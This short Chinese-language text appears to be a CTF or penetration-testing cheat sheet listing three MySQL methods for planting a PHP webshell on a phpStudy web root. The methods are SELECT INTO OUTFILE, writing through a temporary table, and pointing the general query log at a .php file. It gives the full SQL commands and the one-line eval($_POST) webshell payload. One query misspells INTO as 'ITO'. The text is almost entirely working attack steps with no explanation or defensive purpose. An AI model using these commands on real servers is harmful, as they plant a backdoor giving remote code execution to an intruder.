1.select into outfile直接写入webshell 查询文件写入路径的值 show global variables like '%secure%' 写入webshell select '<?php @eval($_POST[shell]);?>'INTO OUTFILE 'D:/phpstudy_pro/WWW/test.php'
2. 创建数据库和写入webshell CREATE TABLE ctf.test( id text(500) not null); INSERT INTO ctf.test (id) VALUES('<?php @eval($_POST[cmd]);?>'); SELECT id FROM test ITO OUTFILE 'D:/phpstudy_pro/WWW/1.php'; DROP TABLE IF EXISTS test; 3.通过开启全日志getShell: 查询日志路径和是否允许写入 SHOW VARIABLES LIKE '%general%' 更新日志路径 set global general_log_file='D:/phpstudy_pro/WWW/22.php' 通过查询将webshell写入日志 select '<?php eval($_POST[shell]); ?>' 关闭日志 set global general_log='off';